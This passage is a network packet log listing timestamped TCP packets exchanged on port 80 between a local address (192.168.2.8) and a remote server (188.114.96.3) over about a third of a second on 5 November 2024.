Nov 5, 2024 12:43:34.327929974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327963114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327974081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327996969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327996969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328002930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328030109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328039885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328085899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328129053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328134060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328145027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328170061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328177929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328188896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328203917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328227043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328227997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328241110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328275919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328289032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328293085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328341007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328385115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328421116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328422070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328428030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328465939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328473091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328484058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328521967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328552961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328594923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328603029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328633070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328640938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328668118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328670979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328691959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328707933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328730106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328813076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328824043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328835011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328864098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328880072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.328938007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.328979015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.329051971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.329054117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.329098940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.359339952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359371901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359384060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359425068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.359455109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.359755039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359778881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359797001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.359803915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.359827995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.359853983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.360076904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360095978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360122919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.360140085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360147953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.360155106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360167027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360189915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.360192060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360198975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360204935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360207081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.360213041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.360251904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442585945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442625999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442640066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442648888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442653894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442671061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442679882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442687988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442693949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442706108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442715883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442719936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442742109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442779064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442810059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442823887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442836046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442848921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442859888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442878008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442914963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442926884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442938089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442950010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442975044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.442986965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.442996979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443056107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443069935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443083048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443097115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443110943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443137884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443273067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443301916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443310976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443336010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443336010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443360090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443420887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443432093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443442106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443453074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443461895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443474054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443475008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443481922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443523884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443535089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443547964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443572044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443574905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443604946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443614006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443641901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443655014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443676949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443687916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443711996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443728924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443773031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443795919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443809986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443845987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443873882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443913937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443929911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443943977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443968058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.443983078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.443989038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444031954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444070101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444082022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444092989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444104910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444119930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444135904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444192886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444236994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444245100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444257021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444283009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444310904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444319010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444330931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444369078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444369078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.444380045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444392920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.444446087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.474689007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.474708080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.474730015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.474740982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.474746943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.474766016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.474782944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475152016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475193024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475198030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475210905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475231886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475244999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475307941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475330114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475342035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475344896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475358963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475368023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475378990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475393057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475414991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475456953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475537062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475588083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475608110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475621939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475636959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.475647926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475656986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.475670099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558176041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558195114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558216095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558228016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558238029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558249950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558260918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558271885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558278084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558286905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558295965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558350086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558366060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558378935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558391094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558404922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558407068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558434963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558458090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558516979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558528900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558542013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558557034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558557987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558572054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558600903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558635950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558665991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558672905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558700085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558746099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558757067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558768034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558779955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558789968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558801889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558830976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558876038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558888912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558909893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558924913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.558950901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558964014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.558990002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559011936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559020996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559034109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559067965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559192896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559204102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559215069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559226990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559237957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559241056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559248924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559252977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559267998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559294939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559298992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559310913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559341908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559351921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559359074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559401035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559494019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559506893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559516907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559530973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559535027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559550047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559550047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559562922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559580088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559616089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559623957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559634924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559664011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559691906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559715986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559726954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559751987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559753895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559766054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.559767962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559798956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.559813023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590152025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590193033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590204954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590243101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590270996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590326071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590368986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590521097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590572119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590605974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590619087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590640068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590647936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590656042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590691090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590692043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590692043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590728998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590737104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590750933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590763092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590775013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590795040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590804100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.590940952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.590975046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591001034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591012955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591037035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591052055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591052055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591065884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591089010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591094017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591104984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591130018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591182947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591193914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.591219902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.591232061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.673693895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.673716068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.673729897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.673784018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.673804045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.673909903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.673950911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674005032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674021006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674045086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674057961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674081087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674093962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674104929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674123049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674124956 CET	80	49711	188.114.96.3	192.168.2.8
